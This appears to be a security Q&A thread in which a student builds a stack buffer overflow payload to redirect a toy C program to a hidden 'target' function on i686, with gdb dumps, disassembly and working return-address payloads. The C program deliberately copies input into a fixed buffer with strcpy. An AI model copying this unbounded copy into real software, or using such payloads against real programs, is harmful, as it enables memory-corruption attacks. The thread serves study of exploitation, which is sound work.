3

For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"

This is the code I use for testing on an i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Task 1: Create a payload so that target() is being called. This was rather easy to do by replacing the EIP with the address of the target function.

This is how the buffer looks

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Payload I used was:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

This works fine but stops with a segmentation fault.

Task 2: Modify the payload in a way that it does not give a segmentation fault

This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.

I tried to add the return address on the stack but that did not help

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?

I attach the objdump of the programm

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop
  • 1
    There are various protections in place on modern OS that prevent easy exploitation, here most of them are covered i think. You might need to disable them. You might also consider reading up about using a relative jump to your target function, maybe with help of a nopsled. This is also an interesting Q&A. Dont get discouraged, its a huge field. – Dominik Gebhart Apr 1 '16 at 13:29
  • 3
    He's successfully jumping to his target function. It's getting back to normal execution that's the problem. – RoraΖ Apr 1 '16 at 13:33
3

Returning to normal execution from shellcode is hard.

You're exactly right. Your function likely doesn't have a valid return address. I'm not entirely sure this is your problem, but your attempt to put the return address on the stack is incorrect. You would want your Target function's return address to be above you in the stack, not below it. As it is now your stack looks something like this:

High Memory
7d840408
ca840408
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

You could try something like this:

High Memory
ca840408
7d840408
41414141
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Note that I added another 4 A's to replace the 0x080484CA, and moved that address above the Target function's address. Now when the stack unwinds it will have a valid function to jump to. Assuming that the extra 4 byte write hasn't destroyed something useful from Main. But I believe you'll just be overwriting the parameter pushed to the stack in this case.

This does not completely solve your problem. Your overflow has now blown away any stack frame pointer that was there, stack canary, and any local variables that were setup. Your execution might go back to the original function, but without the correct state the function could still segfault. Since your main function is fairly simple you might be in the clear. These are aspects that should be considered though.

This is why writing shellcode can be complicated, and is often written in assembly. When you have complete control over registers, and the stack you can manipulate it so that at least the program doesn't crash. But it will take quite a bit of work and some cleverness.

  • Hi. You are right with the order. My mistake. It does still segfault with (Cannot access memory at address 0x41414149). I suspect that I need to add the saved EBP of main as well to the stack. With the order Saved EBP of main -> address of target -> address of main. But the saved EBP changes depending on the input length... – Chris Apr 1 '16 at 14:17
  • Actually with this I just managed to run the payload without causing a segfault "run AAAAAAAAAAAAAAAAAAAAAAAA$'\x5c\xef\xff\xbf\x7d\x84\x04\x08\xca\x84\x04\x08'" . I first had to simulate the length of the payload and get the saved EIP. Then I added it onto the stack. – Chris Apr 1 '16 at 14:23
  • @Chris Nice! Well done – RoraΖ Apr 1 '16 at 14:38
0

Call exit at the end of your shell code. The process will terminate, but not sigsegv. Process continuation is a very different set of problems.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.